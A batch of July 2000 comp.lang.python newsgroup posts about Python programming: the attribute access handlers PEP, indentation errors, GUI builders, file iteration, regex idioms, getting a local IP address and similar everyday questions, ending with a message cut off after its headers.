Date: Mon, 24 Jul 2000 02:55:22 -0500
Subject: Erm... might I suggest... (Re: New PEP: Attribute Access Handlers)
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com> <8F797551Agmcmhypernetcom@199.171.54.194> <397BDCC6.9C498F01@my.signature>
Message-ID: <397BF66A.EF8BDEF4@prescod.net>

Greg Ewing wrote:
> 
> ...
> 
> I assume that the main reason for funnelling all three
> accessors through a single function stems from the desire to
> be able to look up the function using an interned string,
> and if it were necessary to turn "foo" into "__get_foo__" etc.
> on the fly, that wouldn't be possible.

You sound like you are on the right track but I don't know what you mean
by the last sentence. If a single dictionary lookup could search for two
values in the same time it takes to look up a single value then the
design would probably be different. Interning was never my concern. Now
I'll add it to my list of concerns. :)

> However, this could be easily dealt with by keeping a cache
> of translations from attribute names to interned accessor names.

I don't see how that helps at all. It's not interning that I'm concerned
about. It's looking things up twice.

If you've got a solution with the features you describe I'm all for it
but I need you to describe the full lookup algorithm. How many lookups
does it take to get a normal attribute that is NOT "handled?" How many
for a handled attribute? How many to set a handled attribute? How many
to set an unhandled attribute? How much book-keeping is required at
object creation time? How dynamic is your proposed solution? Are there
two dictionaries per instance or one? Two dictionaries per class or one?
How does the depth of the class hierarchy affect your solution?

If your proposal has these features:

> 3. Doesn't magically put any names in the class dict that weren't
>    explicitly put there by the programmer.
> 4. As a consequence of 3, doesn't preclude having a real attribute with
>    the same name in either the class or instance dict.

Then I can only presume that you look up the __get_?? method *first*
before falling back to the "real" version. That will slow down plain old
ordinary "gets" when there is no __get_?? method.

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From bjrubble at shell16.ba.best.com  Fri Jul  7 20:15:13 2000
From: bjrubble at shell16.ba.best.com (Adam Clark)
Date: 8 Jul 2000 00:15:13 GMT
Subject: Help! Indenting craziness!
References: <8k5pev$182l$1@nntp1.ba.best.com> <8k5pmq$k3k$1@nntp9.atl.mindspring.net>
Message-ID: <8k5rqh$1b5j$1@nntp1.ba.best.com>

Ack!

Okay, here's the part where I apologize for my bandwidth-wasting ignorance.
I found the problem -- a space-indented line about 20 lines up from the
flagged line, easily identified by cursoring through it.

Paint me red and call me a luser...



Aahz Maruch <aahz at netcom.com> wrote:
> In article <8k5pev$182l$1 at nntp1.ba.best.com>,
> Adam Clark  <bjrubble at shell16.ba.best.com> wrote:
>>
>>Does anybody have a technique for avoiding syntax errors due to blank,
>>unindented lines?  I'm getting these on a regular basis, and I haven't
>>figured out any reliable way to fix them.  Sometimes if I take every line
>>in the vicinity, backspace it to the end of the previous line, and 
>>reposition it, the errors go away.  But often they don't, and I end up
>>just deleting chunks and rewriting them until Python stops complaining.
>>
>>This is with Emacs and python-mode.

> That doesn't make any sense.  This sounds like what can happen if you
> switch between Windoze and Unix.  Can you give us an example?
> --
>                       --- Aahz (Copyright 2000 by aahz at netcom.com)

> Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
> Hugs and backrubs -- I break Rule 6

> "do you want my self-identities alphabetically, chronologically, or in
> random order?"  -- Misha


From jhauser at ifm.uni-kiel.de.bbs  Tue Jul 18 03:20:12 2000
From: jhauser at ifm.uni-kiel.de.bbs (jhauser at ifm.uni-kiel.de.bbs)
Date: 18 Jul 2000 07:20:12 GMT
Subject: Does Python have "not a number" floating point values?
Message-ID: <3bRfMC$iX_@openbazaar.net>

This raised a floating point exception on an Alpha machine. At the
moment this is not portable.

__Janko

--
  Institut fuer Meereskunde             phone: 49-431-597 3989
  Dept. Theoretical Oceanography        fax  : 49-431-565876
  Duesternbrooker Weg 20                email: jhauser at ifm.uni-kiel.de
  24105 Kiel, Germany


From breiter at usf.Uni-Osnabrueck.DE.bbs  Mon Jul 17 06:00:02 2000
From: breiter at usf.Uni-Osnabrueck.DE.bbs (breiter at usf.Uni-Osnabrueck.DE.bbs)
Date: 17 Jul 2000 10:00:02 GMT
Subject: wxDesigner: Commercial dialog editor for wxWindows and wxPython
Message-ID: <3bR863$j5_@openbazaar.net>

There is a free software wxPython GUI builder:

		Boa-Constructor.

	http://sourceforge.net/project/?group_id=1909
	http://boa-constructor.sourceforge.net/

wxDesigner is not free software it is not only commercial but
proprietory. So it is not the way to go.
I supported Mark Hammond with pythonwin, because he wrote free
software. I cannot support wxDesigner.

We should help making Boa-Constructor even better.
(For the people into it, the CVS version was finally updated.
Work on the 0.0.4 release is going on. Do not let the low version
number fool you.)
	Bernhard

In article <39779151.1066402235 at news.online.no>,
	thomas at cintra.no (Thomas Weholt) writes:

> This is just what Python needs; helper for GUI programming. A single
> user licence costs $69 if I remember correctly, which is probably ok,
> at least for commercial purposes. ( Nowhere near PythonWorks insane
> price-tag )
>
> It would, of course, be better if it was free,



> On Sat, 15 Jul 2000 09:16:32 +0200, Robert Roebling
> <roebling at ruf.uni-freiburg.de> wrote:

>>[I am using this list, since the python-announce list is no
>> longer functional.]
>>
>>I would like to announce wxDesigner 1.0, a commercial program
>>that can be used in connection with the free C++ GUI wxWindows
>>library and its populare Python bindings called wxPython.
--
Professional Service around Free Software                (intevation.net)
The FreeGIS Project				            (freegis.org)
Association for a Free Informational Infrastructure            (ffii.org)


From nospam at email.com  Thu Jul 20 15:26:32 2000
From: nospam at email.com (CB)
Date: Thu, 20 Jul 2000 19:26:32 GMT
Subject: Checking for end of a file
Message-ID: <InId5.59171$ZI2.2276534@news1.rdc1.on.wave.home.com>

If I'm iterating through a text file, reading one line at a time within a
while statement, how do I check for the end of file.  I tried while
filename.eof and filename.eof() but to no avail?

Colin




From jick78 at my-deja.com  Wed Jul 12 14:52:10 2000
From: jick78 at my-deja.com (jick78 at my-deja.com)
Date: Wed, 12 Jul 2000 18:52:10 GMT
Subject: [ANN] mod_snake 0.2.0 - Apache + Python integration
Message-ID: <8kieoh$v0k$1@nnrp1.deja.com>

(Kinda following suit here, as there doesnt seem to be a working
CLPA)

                              Mod Snake
                              ---------

An Apache 1.3 and 2.0 plugin to load Python modules

Mod_Snake is an Apache 1.3 and 2.0 module that allows Python
developers to write Apache modules in Python with as much power
as modules written in C. In addition, simple modules are provided
to accelerate Python CGIs, to process embedded Python within HTML,
and to give a mod_perl style directive power.

     URL:  modsnake.sourceforge.net
Download:  http://download.sourceforge.net/modsnake

 License:  BSD Style
Categories:  Net Applications

Jon Travis (jtravis at p00p.org)
modsnake.sourceforge.net



Sent via Deja.com http://www.deja.com/
Before you buy.


From db3l at fitlinxx.com.bbs  Mon Jul 17 21:40:02 2000
From: db3l at fitlinxx.com.bbs (db3l at fitlinxx.com.bbs)
Date: 18 Jul 2000 01:40:02 GMT
Subject: Multiline strings and indentation
Message-ID: <3bRWT2$kbr@openbazaar.net>

"donotspam-jen at personic.com" <dnotspam-jen at personic.com> writes:

> But in both cases you have to put in extra quotes and explict newline
> characters (unless you don't care where the text wraps).

Well, you sort of have to explicitly handle the newlines with multi-line
strings as well, since they are only going to wrap where you actually
wrap them.

>                                                          Multi-line strings
> save a bit of typing, and are a bit easier to reformat when editing. So I
> guess this means I have to choose between weird indentation (multi-line
> strings) or typing more characters?

Either that or see what is leading you to using such long,
multiple-line strings (needs line breaks within string) directly
within the code and see if you might not be better suited with some
sort of data structure to access those strings.

I don't know what the strings are for, but if they are messages, or
prompts, or other user I/O, perhaps installing them in a dictionary or
some other structure within your code would permit you to just
retrieve the appropriate string later without needing the inline
multi-line strings.  That would also permit later extraction for
separate message handling, internationalization, etc.. should the need
ever arise.  It would also cluster these long messages in a single
place in your code for maintenance.

Just a thought - it might not be relevant in your particular
application.  For myself I tend to find most strings relatively small
(and the occasional full line string that is longer than my source
line I just let Python do with the automatic string concatentation of
two adjacent strings) within the source itself, longer strings
tending to be related to some other structure within the code.

--
-- David
--
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From jblaine at kickflop.ne.mediaone.net  Wed Jul 26 16:28:56 2000
From: jblaine at kickflop.ne.mediaone.net (Jeff Blaine)
Date: Wed, 26 Jul 2000 20:28:56 GMT
Subject: s = shelve.open(blah), s.items() Attribute Error
Message-ID: <slrn8nuiec.nv.jblaine@kickflop.ne.mediaone.net>

It seems that shelf objects do not have an .items() method like
normal dictionary objects.

Is this true?

If so, it should probably be pointed out in the docs under 'Restrictions'
for shelve.  And also, is there a reason?

If not, what am I doing wrong?

s = {}
s = shelve.open(blah, 'c')
i = s.items()

AttributeError: items


From cookedm at physics.mcmaster.ca  Tue Jul 18 20:47:05 2000
From: cookedm at physics.mcmaster.ca (David M. Cooke)
Date: 18 Jul 2000 20:47:05 -0400
Subject: Getting method from within method?
Message-ID: <qnkitu3gd4m.fsf@arbutus.physics.mcmaster.ca>

I want to do recursion, like this:

def factorial(n):
    if n <= 1: return 1
    else return n * factorial(n-1)

However, this depends on the name of the method staying the same. For
instance, if I did this:

fact = factorial
factorial = None

fact(5) would give me an error since factorial isn't a method anymore.
It would be nice if there was some way of referring to the method
inside of the method.

Is there any way of doing this easily?

-- 
|>|\/|<
----------------------------------------------------------------------------
David M. Cooke
cookedm at mcmaster.ca


From moshez at math.huji.ac.il  Mon Jul 24 08:21:08 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Mon, 24 Jul 2000 15:21:08 +0300 (IDT)
Subject: iterating over lines in a file
In-Reply-To: <%TVe5.12$o45.2102@news.corecomm.net>
Message-ID: <Pine.GSO.4.10.10007241520170.13515-100000@sundial>

On Mon, 24 Jul 2000, nobody wrote:

> what i was actually trying to do was a prepend-this-string-to-that-file
> routine, and i think i got it. the straight translation from perl got
> really, really long due to all the try-except pairs; i like exceptions
> better than perl's "do {} or die" idiom as they're clearer and seem more
> flexible, but they're sure more verbose, too.

As a rule, if you find your code littered with try/except's, you're
probably doing something wrong. They're called exceptions for a reason.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From pinard at iro.umontreal.ca  Thu Jul  6 19:30:04 2000
From: pinard at iro.umontreal.ca (=?ISO-8859-1?Q?Fran=E7ois_Pinard?=)
Date: 06 Jul 2000 19:30:04 -0400
Subject: readline.c & more
In-Reply-To: Thomas Wouters's message of "Thu, 6 Jul 2000 00:25:11 +0200"
References: <Pine.LNX.4.21.0007052214190.4947-100000@krispc6.physik.uni-karlsruhe.de>
	<3963C85D.3924126C@stud.ntnu.no> <20000706002510.F13478@xs4all.nl>
Message-ID: <oqu2e2zvk3.fsf@titan.progiciels-bpi.ca>

[Thomas Wouters]

> Actually, SourceForge is now preferred over patches at python.org.

Yet, I need a way to submit patches without being Internet-connected,
which is my usual state.  That is, using email.  Besides, composing
messages in Web pages is horrible, when one is used to good editors.
Moving away from email is not a good thing, from my viewpoint, it should
always be available to users.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From see at my.signature  Mon Jul 24 01:14:41 2000
From: see at my.signature (Greg Ewing)
Date: Mon, 24 Jul 2000 17:14:41 +1200
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net> <397684EB.3E0C5D88@my.signature> <m3vgy1nvfc.fsf@atrus.jesus.cam.ac.uk> <3977C029.2C1DC8AC@my.signature> <397A921E.4FCF8214@prescod.net>
Message-ID: <397BD0C1.D85E2395@my.signature>

Paul Prescod wrote:
> 
> Plus, why add syntax when a function will do?

Because of the extra step of mental gymnastics required
to recognise that a zip followed by iteration and
unpacking into a tuple is equivalent to parallel
iteration. I want to be able to write a loop that
*looks* like parallel iteration right from the outset.

I must say I rather like the suggestion of calling
it tuples(). Maybe make it even a bit more explicit,
such as

  for x, y in tuplesfrom(a,b):

I'd still rather have a direct parallel iteration
syntax, but I could live with something like that.

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From shindich at my-deja.com  Mon Jul 10 20:24:10 2000
From: shindich at my-deja.com (shindich at my-deja.com)
Date: Tue, 11 Jul 2000 00:24:10 GMT
Subject: Python book suggestions?
References: <MPG.13d2b74a5f5c63ea98981c@news.onlynews.com>
Message-ID: <8kdpeq$hqe$1@nnrp1.deja.com>

In article <MPG.13d2b74a5f5c63ea98981c at news.onlynews.com>,
  Randall Parker <rgparker at west.net> wrote:
> I would like to learn Python because people I respect think highly of
it.
> I have backgroun in C++, Java, and assorted other languages. I intend
to
> use Python to do web site development.
>
> Does anyone have any suggestions as to which books are good for
learning
> the Python language?
>
> How about a book about Python and XML?
>
> How about a book about Python for web site development?
>
> I'm thinking of starting with the v1.6 version that I see from an
article
> has a number of language changes over previous versions. Are any books
> due out imminently that will cover this newer version?
>
>
There were a cople of dicussions on this subject before. Search dejanews
and you will find plenty of suggestions.

My personal favorite is "Learning Python". It's a very good book for a
beginner.

I hope this helps!
Alex Shindich
http://www.shindich.com/


Sent via Deja.com http://www.deja.com/
Before you buy.


From bjorn at roguewave.com  Tue Jul 25 17:03:47 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Tue, 25 Jul 2000 15:03:47 -0600
Subject: perl to python, case + regular expression question
References: <y7gd7k26jtd.fsf@bandersnatch.lerc.nasa.gov>
Message-ID: <397E00B3.746787B9@roguewave.com>

Jim McKim wrote:
> 

[snip]

> The best way I've been able to come up with in python is to execute a
> re.search() method twice, once in the if statement, and then again in
> the block following the if statement to obtain the match object.
> Something like:
> 
> if re.search('^log entry (\d+)', input_line):
>     match = re.search('^log entry (\d+)', input_line)
>     log_entry_num = match.group(1)
>     ...etc.
> ...

The canonical way is:

  match = re.search('^log entry (\d+)', input_line)
  if match:
    log_entry_num = match.group(1)
    ...

you might also want to take a look at re.compile() if you are matching a
lot of regular expressions frequently (I believe the current
implementation caches ~30, but I haven't looked at the code lately...)

at-least-until-someone-starts-arguing-for-assignment-expressions-again'ly
y'rs
-- bjorn



From hzhu at knowledgetrack.com  Fri Jul 21 19:57:32 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Fri, 21 Jul 2000 23:57:32 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <m2bszsokwh.fsf@spiff.home.com> <39774EFA.62287E6E@nih.gov> <ueefns037mjarv63dqpbh52mmr1k6vvaop@4ax.com> <%_Rd5.36763$6y5.24594893@news2.rdc2.tx.home.com> <50ggnss2rhdf2uh3pe6m4o1slib9d6fvko@4ax.com>
Message-ID: <slrn8nhp2g.qn.hzhu@rocket.knowledgetrack.com>

Would someone like to make a brief summary of the thread on (*) type
operators?  I did not follow all of them, and can't seem to be able to
figure out what the consensus is now.  Whether this goes into the PEP, it
would be nice to have a summary of the discussion so far.  Thanks.

John, would you volunteer?

Huaiyu

On 21 Jul 2000 07:24:31 -0500, John Lull <lull at acm.org> wrote:
>"Rainer Deyke" <root at rainerdeyke.com> wrote (with possible deletions):
>
>> "John Lull" <lull at acm.org> wrote in message
>> news:ueefns037mjarv63dqpbh52mmr1k6vvaop at 4ax.com...
>> > This shouldn't be hard to parse.  In fact, it might be a reasonable
>> > foundation for class-specific operators:
>> >     A(.opName)B
>> > would get executed as either
>> >     A.__opName__(B)
>> > or
>> >     B.__ropName__(A)
>> > or raise an exception as appropriate.
>> 
>> This would allow constructs such as:
>> 
>> A(.init)B
>> 
>> In other words, it would turn all existing __magic__ functions into
>> operators.  Not a good idea IMO.
>
>
>One could easily prevent that by having
>    A(.opName)B
>invoke
>    A.___opName__(B)
>instead of
>    A.__opName__(B)
>or some such.
>
>Clearly there's nothing to force use of the same naming convention for
>these operator methods.
>
>Regards,
>John

-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From tanzer at swing.co.at  Mon Jul 24 01:52:52 2000
From: tanzer at swing.co.at (Christian Tanzer)
Date: Mon, 24 Jul 2000 07:52:52 +0200
Subject: New PEP: Attribute Access Handlers 
In-Reply-To: Your message of "Sun, 23 Jul 2000 13:17:15 CDT."
             <397B36AB.92E30999@prescod.net> 
Message-ID: <m13GbAa-000wcDC@swing.co.at>

Paul Prescod <paul at prescod.net> wrote:

> > In short, folding get/set/del into one function sucks. Besides, it
> > doesn't really help when you want to overload just get, but would like
> > to keep the set/del of the ancestor.
> 
> That isn't true. You can chain gets to your ancestor's __attr_XXX__
> method if you want, but handle sets yourself or vice versa.

You can chain `__getattr__' to your ancestor's `__getattr__', too. 
It just is a bit cumbersome.

IMHO, your proposal exchanges the handling of different attributes in
one function with the handling of different aspects of attribute
handling in one function

There are good reasons for the design of `__{g,s]etattr__' (it
is a general solution with a minimum of complexity and implementation
effort). I don't see any good reasons for mixing `get/set/del' of a
particular attribute into the same function (in particular, it is not
a general solution).

-- 
Christian Tanzer                                         tanzer at swing.co.at
Glasauergasse 32                                       Tel: +43 1 876 62 36
A-1130 Vienna, Austria                                 Fax: +43 1 877 66 92




From cut_me_out at hotmail.com  Mon Jul  3 17:04:03 2000
From: cut_me_out at hotmail.com (Alex)
Date: 03 Jul 2000 17:04:03 -0400
Subject: Definative Documentation on Objects
References: <8jqui2$9na$1@supernews.com>
Message-ID: <etdu2e7j58c.fsf@w20-575-34.mit.edu>

Perhaps the tutorial?

http://www.python.org/doc/tut/node11.html

It all depends on what a definitive statement would be, I guess.

Alex.


From bvdpoel at uniserve.com.bbs  Sun Jul 16 01:30:03 2000
From: bvdpoel at uniserve.com.bbs (bvdpoel at uniserve.com.bbs)
Date: 16 Jul 2000 05:30:03 GMT
Subject: converting tcl database file to python
Message-ID: <3bQBSR$k8M@openbazaar.net>

Bob Schmertz wrote:
>
> Bob van der Poel wrote:
>
> > also thinking that this is dumb. If I were using C I'd use a structure
> > like this:
> >
> >         typedef struct{
> >                 char *Title, *Artist, *Composer, *Timing;
> >         }CDITEM;
> >         typedef struct{
> >                 char *Name;
> >                 char *Comment;
> >                 char *CDItem[];
> >         }CDENTRY;
> >
> >         CDENTRY Mydata[maxtitles];
> >
> > Or something like that. Any suggestions on how that would translate to a
> > proper python idiom?
> >
>
> Did you consider a CdItem class?

No. I've looked at them but the one thing  that bothered me is that
after defining a class (aka structure) one is free to add variables a
will.

> class CDITEM():
>     def __init__(self, name, comment, etc):
>         self.name = name
>         self.comment = comment
>         self.etc = etc
>
> mydata = []
> mydata.append(CDITEM("Thriller", "gift from my mom", "more stuff"))

For example, after the above I can write:

	mydata.dummy="bad data"

but, since it's just as hard to access the 'dummy' I guess it's not a
big deal. Just used to C too much I guess.

Looks like a class is the way to go.
 
> > 2. Any quick ideas on how to convert the tcl-style data file to
> > something python can deal with?
>
> Tcl's probably what I'd go with for this.  Haven't dealt with it for a while,
> though.

Yes. started a bit this PM. I think that what I'll do is write a
conversion in tcl and end up with a very-verbose datafile format. With
PentiumIIs who cares about a few extra cycles of overhead parsing a
file. I've just gotta get into the 21th century.

--
   __
  /  )      /         Bob van der Poel
 /--<  ____/__        bvdpoel at uniserve.com
/___/_(_) /_)         http://users.uniserve.com/~bvdpoel


From sean at digitome.com  Sun Jul  2 07:51:10 2000
From: sean at digitome.com (Sean Mc Grath)
Date: Sun, 02 Jul 2000 11:51:10 GMT
Subject: __getattr__ and pickle
Message-ID: <395f26a4.1832855@news.iol.ie>

I have a reproduceable GPF on NT when picking objects of a class
that has a __getattr__ implementation. Take out the __getattr__ and
the pickle works fine.

Are there ways to implement __getattr__ and yet preserve the ability
to pickle?

regards,



From wlfraed at ix.netcom.com  Tue Jul 11 00:14:21 2000
From: wlfraed at ix.netcom.com (Dennis Lee Bieber)
Date: Mon, 10 Jul 2000 21:14:21 -0700
Subject: Language Challenge -- Results
References: <396A493A.DE1DF77B@sdynamix.com>
Message-ID: <126lmsosi64hj8v5dse4ln3khnuvdtpbb8@4ax.com>

On Mon, 10 Jul 2000 15:07:54 -0700, bv <bvoh at sdynamix.com> declaimed the
following in comp.lang.python:

> 
> To view the contest summary please click on the "Language Challenge
> 2000" on http://sdynamix.com
> 
	"The server does not have a DNS entry" (as reported by netscape,
and for once it is not my ISP having problems -- I can hit other pages
fine).

--
 > ============================================================== <
 >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
 >      wulfraed at dm.net     |       Bestiaria Support Staff       <
 > ============================================================== <
 >        Bestiaria Home Page: http://www.beastie.dm.net/         <
 >            Home Page: http://www.dm.net/~wulfraed/             <


From olivierS.dagenaisP at canadaA.comM  Sat Jul 22 22:14:13 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sun, 23 Jul 2000 02:14:13 GMT
Subject: Making Windows GUI programs
References: <8F776CE84nickperkinsusanet@203.2.75.243> <lZrd5.995$Kv6.36963@news20.bellglobal.com> <397A529E.900C180A@sitegnome.com>
Message-ID: <Vxse5.635$Gh.13685@news20.bellglobal.com>

It used to be that 0 out of 8 people found the answer useful (including me),
which is why I changed it (added twice to it) in the first place.  However,
it didn't reset that counter, so really 3 out of 4 people found it useful...
: )

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III
olivier.dagenais at canada.com


"Fiona Czuczman" <fiona at sitegnome.com> wrote in message
news:397A529E.900C180A at sitegnome.com...
> Olivier Dagenais wrote:
> >
> > I recommend wxPython ( www.wxpython.org )
> >
> > http://www.faqts.com/knowledge-base/view.phtml/aid/3565/fid/473
>
> Looking at the answer in FAQTs, only 3 out of 12 people said the answer
> was useful..
>
> I'm very tempted to remove this answer altogether, so, this is a call to
> improve the current answer.
>
> As it stands currently:
>
> --------start----------
>
> What is wxPython? How does it compare with Tkinter?
>
> Fiona Czuczman, Olivier Dagenais
> Shae Erisson,
> http://www.lpthe.jussieu.fr/~zeitlin/wxWindows/docs/wxwin465.htm#wxpother
>
>
> wxPython [ http://www.wxpython.org ] is a set of Python bindings for
> the GUI toolkit wxWindows [ http://www.wxwindows.org ], that was
> written as a C++ library to provide a platform-independant way of
> implementing rich and fast user interfaces.
>
> -----------------------------------------------------
>
> I chose wxPython over Tkinter (for my projects) because:
> - wxWindows seems to have more widgets than Tk
> - special widgets (like the TreeView) are implemented using the
> operating system's native implementations, not complete re-writes
> - it's more than a "lowest common denominator" among platforms,
> wxWindows seeks to provide the same, advanced functionality on all
> platforms, even if it means they have to write a lot of code to
> complement a platform's native component
> - wxWindows seems to cover more ground, in terms of functionality (it's
> more than a GUI toolkit, it also seeks to provide functions/classes for
> files, threads, printing, clipboard, networking, ODBC, etc...)
> - I was *really* impressed with the wxPython demo
>
> -----------------------------------------------------
>
> The wxWindows documentation emphasizes the "less good" points of other
> GUI toolkits (namely Tkinter) to motivate wxPython:
>
> http://www.lpthe.jussieu.fr/~zeitlin/wxWindows/docs/wxwin465.htm#wxpothe
> r
>
> --------end--------------
>
> Thanks,
>
> Fiona Czuczman
>
>
> >
> > --
> > ----------------------------------------------------------------------
> > Olivier A. Dagenais - Carleton University - Computer Science III
> >
> > "Nicko" <nick_p at dingoblue.net.au> wrote in message
> > news:8F776CE84nickperkinsusanet at 203.2.75.243...
> > > Hi. I was wondering if anyone could point me in the direction of some
GUI
> > > help for windows. I would like to write a program using the windows
API
> > > set, but the help file that came in the win32all package doesn't make
any
> > > sence to me. If someone can point me in the direction of maybe a
tutorial
> > > or a nice document that can help, I would be greatful
> > >
> > > Thanks in Advance,
> > > Nick Perkins
>
> --
>
> Site Gnome - site maintenance, documentation and proof reading
>
> http://www.sitegnome.com




From paul at prescod.net  Wed Jul 19 12:08:24 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 19 Jul 2000 11:08:24 -0500
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net> <fRZc5.1487$6E.293353@ptah.visi.com> <3974C185.E39E082E@prescod.net> <fc5d5.1589$6E.308551@ptah.visi.com>
Message-ID: <3975D278.7EAB230C@prescod.net>

Eric Hopper wrote:
> 
>...
> 
> OK, genericity.  I call generic programming 'inheritance for the lazy'.

But it has nothing to do with inheritance!

> Of the modern languages, the one I can think of right offhand is Java.
> And that's something I actually like about it.

Java does not require inheritance to do genericity either. Java does
require you to pre-declare your interfaces, but you "implement" an
interface. You do not inherit from it. The point is that there are three
different concepts here, unconstrained genericity,
inheritance-constrained genericity and interface-contrained genericity.
And we haven't even got to the subtle parts yet!

>         So, what class do you need to define a read method for?  Where did that
> object get passed in?  What if the read method is only called in some odd
> circumstance that manages to excape anyone's notice for years?

If you want to check that the read method is defined, you can do that at
method boundaries. You don't need to enforce an inheritance hierarchy.
-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From donn at oz.net  Sat Jul 22 11:26:26 2000
From: donn at oz.net (Donn Cave)
Date: 22 Jul 2000 15:26:26 GMT
Subject: Newbie pythoner, with bizzare problem
References: <66BC56277B82FC67.B3EED2DD79D7AFED.2311A1AB38DBA14A@lp.airnews.net> <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <8lcef2$fbn$0@216.39.151.169>

Quoth claird at starbase.neosoft.com (Cameron Laird):
| In article <m33dl2o39d.fsf at atrus.jesus.cam.ac.uk>,
| Michael Hudson  <mwh21 at cam.ac.uk> wrote:
...
|> 5 gets you 7 that you have added a 
|>
|> from os import *
|>
|> to your script.
|>
|> Don't do that.
| 			.
| 			.
| 			.
| I'd be willing to raise the odds on that bet.

Me too.

| You're also right that
|   from os import *
| is, of course, universally deprecated.

So where do so many new programmers learn to do this?
This is a serious question.  Is there some tutorial
out there that leads them astray?

| What surprises me, though, is that no one ever
| mentions the possibility of writing
|   inp = __builtin__.open("c:/autoexec.bat",'r')

What surprises me is that you mentioned it.  I mean,
it's interesting in an academic way, but it's not
clear to me how you would see that working in practice.

	Donn Cave, donn at oz.net


From claird at starbase.neosoft.com  Tue Jul 18 10:15:23 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 18 Jul 2000 09:15:23 -0500
Subject: Getting local IP address...
References: <CC59868A0A76D311B1F50090277B321C1F342C@VRTMAIL> <uitu45ihv.fsf@ctwd0143.fitlinxx.com> <3974183d_2@my.newsfeeds.com>
Message-ID: <E00BCDC0926B31CE.459D5B624E9E3FF6.E4E289DAE4F42595@lp.airnews.net>

In article <3974183d_2 at my.newsfeeds.com>,
Stephen Hansen <stephen at cerebralmaelstrom.com> wrote:
>    Um, jeez. I'm rather surprised by these responses -- I assumed it
>was some simple little function somewhere I was missing.. I'm also
>even more surprised at the differences between the three approaches
>
>-- #1 -- socket.gethostbyname(socket.gethostname())
>-- #2 -- Some complicated stuff dealing with asking Linux (which,
>incidentely, is bad since i'm primarily on a Windows machine for
>the time being -- and in the future will be on a *BSD, and hope
>to have my program working on all three :)) what the address is
>on the given ethernet card..
>-- #3 -- Just go all out and connect, since in the process you
>have to be telilng the other side where you are, so you can
>get it that way.
>
>#2 and #3 just seem .. convoluted .. as heck. But because so
>many people sugguested them, I have to assume that they
>beileve there is some central problem with #1... What is it? :)
			.
			.
			.
Yes, there is a central problem that drives people
toward convolution in this area.  As the OSs are
defined in their full generality, there is no guar-
antee of a particular numeric address until the
connection is established.  I sympathize with the
perception of wastefulness.  That truly is how IP
works, though.

On the other hand, the most common configurations
allow for shortcuts that slash orders of magnitude
off that kind of processing.  If you know you con-
nect through Ethernet as one poster explained, it's
certainly OK by me to interrogate your NIC at a
hardware level.

I've been threatening to write a tutorial on this
subject ...
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From beat.bolli at dware.ch  Tue Jul 18 02:48:03 2000
From: beat.bolli at dware.ch (Beat Bolli)
Date: Tue, 18 Jul 2000 08:48:03 +0200
Subject: [Patch] {l,r}just with optional pad character parameter
References: <8kshd3$l1h$2@bw107zhb.bluewin.ch> <20000716165538.V7340@xs4all.nl> <39733AC7.96CCBF81@schneider-kamp.de> <8kvd70$dn4$1@news.udel.edu>
Message-ID: <8l0ujr$h0v$1@news1.sunrise.ch>

> > Two reasons why not:
> > - it would have been harder to implement <wink>
> > - undetermined semantics:
> >   "GvR".ljust(6,"12") =?= "GvR121"
>
> This is exactly what I would expect -- a 6 char result string
>

I've been working on this last night; I implemented it for ljust, rjust and
center.
Right now I'm trying to integrate Unicode support, too. Let me know if you
want to see an intermediate version just for strings.

Beat Bolli
--
dware design & software GmbH
Mattenstrasse 11, CH-2555 Br?gg b. Biel
Telefon: +41 (32) 374 27 00, Telefax: +41 (32) 374 27 01
E-Mail: beat.bolli at dware.ch





From bjorn at roguewave.com  Thu Jul 20 12:09:29 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Thu, 20 Jul 2000 10:09:29 -0600
Subject: Dot-comma, anyone? (Re: zip or marry etc)
